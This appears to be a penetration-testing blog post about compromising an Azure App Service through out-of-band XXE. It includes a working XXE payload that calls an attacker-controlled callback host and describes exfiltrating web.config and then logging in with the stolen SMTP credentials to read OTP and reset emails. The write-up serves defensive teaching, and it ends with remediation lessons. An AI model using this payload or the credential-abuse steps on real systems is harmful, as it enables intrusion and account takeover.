Compromising an Azure Tenant via XXE OOB and web.config Exfiltration

May 26, 2025


Texto alternativo Introduction Texto alternativo

During a recent pentest engagement for a transactional company fully hosted in Microsoft Azure, we were assigned to conduct both an external black-box assessment and an authenticated gray-box evaluation within a two-week window. The scope included all publicly exposed services as well as internal resources accessible to authenticated users with least-privilege roles.

Texto alternativo

The initial phase of the assessment followed our standard methodology, encompassing reconnaissance, service enumeration, fingerprinting, and testing for common misconfigurations. Early in the process, we uncovered several high and critical vulnerabilities such as overly permissive CORS policies on certain subdomains, SQL injection points, and multiple instances of exposed personally identifiable information (PII). While these findings were serious, what followed DRAMATICLLY escalated the severity of the engagement.

Texto alternativo Texto alternativo

Texto alternativo Finding the Weak Link Texto alternativo

While manually inspecting publicly accessible resources, our team leader stumbled upon an exposed WordPress directory (/wp-content/) on one of the subdomains. Among the files available, we discovered detailed API documentation for a legacy transactional endpoint used for payment processing. This API accepted XML-formatted requests—a known red flag if improperly sanitized.

Texto alternativo

The documentation outlined each field and processing step the server performed on incoming XML data. This was instrumental in constructing valid requests and ultimately crafting a successful XML External Entity (XXE) payload.

Texto alternativo

After several rounds of trial and error, we validated that the server was parsing XML without disabling external entity resolution. More importantly, the payload could trigger an out-of-band (OOB) interaction with an attacker-controlled domain, confirming an XXE OOB vulnerability.

Texto alternativo XXE OOB Explained Texto alternativo

An XML External Entity (XXE) injection occurs when XML input containing a reference to an external entity is processed by a weakly configured parser. If entity expansion is enabled, it becomes possible to exfiltrate sensitive data from the file system, interact with internal services, or even perform SSRF (server-side request forgery).

Texto alternativo Texto alternativo Texto alternativo

Out-of-Band XXE, also known as OOB-XXE, is a special subtype where the server does not return data directly in the HTTP response. Instead, the attacker defines an external DTD that causes the server to send data to an external listener under the attacker’s control.

Texto alternativo The following payload was used to confirm the vulnerability:

Texto alternativo

Texto alternativo XXE PAYLOAD Texto alternativo

<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "http://attacker.oastify.com">]>
<stockCheck>
  <productId>&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>

Texto alternativo DTD USED: Texto alternativo Texto alternativo Texto alternativo

Texto alternativo

Once this was triggered, we received a callback on our OAST collaborator client, confirming the vulnerability. Texto alternativo Escalation Through Azure Path Mappings Texto alternativo

At this point, we had confirmed an OOB XXE vulnerability on an Azure-hosted App Service. However, even though initial attempts to exfiltrate files like C:\inetpub\wwwroot\web.config or .env yielded limited results due to restricted access, nonstandard file placement and non juicy content found on the principal directory.

Texto alternativo Texto alternativo Texto alternativo

As part of our gray-box privileges, we had reader-level access to the target Azure subscription. We pivoted to Azure’s App Service blade in the Azure Portal and examined the configuration of the vulnerable app. Under “Configuration” > “Path Mappings”, we noticed the presence of custom mount points. These mappings redirected the file structure of the app to specific Azure File shares or Blob containers.

Texto alternativo Texto alternativo Texto alternativo

This blog has way more information about it: https://medium.com/@barbieri.santiago/configuring-path-mappings-in-azure-app-service-7bea90f58f26 Texto alternativo

This was the pivot point. Texto alternativo

Knowing the mount paths, we began aggressively fuzzing through the directories, experimenting with variations of high-value filenames such as web.config, appsettings.json, and secrets.env. Each attempt heightened the anticipation—until finally, one of the crafted payloads hit the jackpot. Through the XXE vector, the server responded, revealing a complete web.config file. This was the turning point. The presence of sensitive configuration data, credentials, and internal paths confirmed we had successfully breached a critical layer of the application.

Texto alternativo Texto alternativo Texto alternativo

JUICY CONTENT

Texto alternativo Texto alternativo Texto alternativo

Texto alternativo Texto alternativo Texto alternativo

Texto alternativo Texto alternativo Texto alternativo

Texto alternativo The Treasure Trove Texto alternativo

The contents of the web.config were significant. Among the sensitive items identified:

  • Production database connection strings (with plaintext credentials)

  • SMTP server login credentials for sender@company.com

Upon testing the SMTP credentials, we confirmed they provided access to a functioning corporate email account. After logging in, we found emails related to password resets, OTP (One-Time Password) deliveries, and sensitive operational correspondence. The sender account was tied to automated workflows involving password recovery and account verification.

Texto alternativo Texto alternativo Texto alternativo

This dramatically increased the impact of the compromise, as it could enable:

  • Unauthorized access to protected user accounts via OTP interception

  • Replay of password reset links and one-time secrets

  • Potential lateral movement via internal email phishing

  • Full access to production database environments

  • Responsible Disclosure and Engagement Termination

Upon testing the SMTP credentials, we confirmed they provided access to a functioning corporate email account. After logging in, we found emails related to password resets, OTP (One-Time Password) deliveries, and sensitive operational correspondence. The sender account was tied to automated workflows involving password recovery and account verification, making it a critical asset in the user authentication process.

Texto alternativo

Interestingly, although the web.config also contained database credentials, we weren’t able to establish a connection to the DB. After some digging, we realized the server was protected by IP whitelisting so unless we were connecting from an allowed IP, the DB wasn’t even going to talk to us.

Texto alternativo

We considered techniques to evade those defenses like rotating outbound IPs through cloud services or tunneling through a compromised app—but time wasn’t on our side. With the clock ticking down, we had to prioritize and move forward, documenting the impact and leaving that potential vector for a future engagement.

Texto alternativo Lessons Learned Texto alternativo

-Never expose internal API documentation—especially not with detailed request formats.

-Disable XmlResolver and external entity parsing by default in all XML parsers.

-Use Azure Key Vault for secret storage, not web.config or .env files.

-Audit and limit path mappings, as they often expose sensitive file systems.

-Secure email accounts used in automated processes, especially those involved in password recovery workflows.

Texto alternativo Conclusion Texto alternativo

This engagement highlights how a relatively obscure vulnerability like XXE can lead to full environment compromise when combined with misconfigurations, poor secret hygiene, and underused RBAC controls. In cloud-native environments, developers and security teams must align on secure-by-default principles and continuously monitor for indicators of exposure.

Texto alternativo

This case was a strong reminder that Azure App Services, like any other hosting environment, are only as secure as their weakest link. And sometimes, that link is just one web.config file away.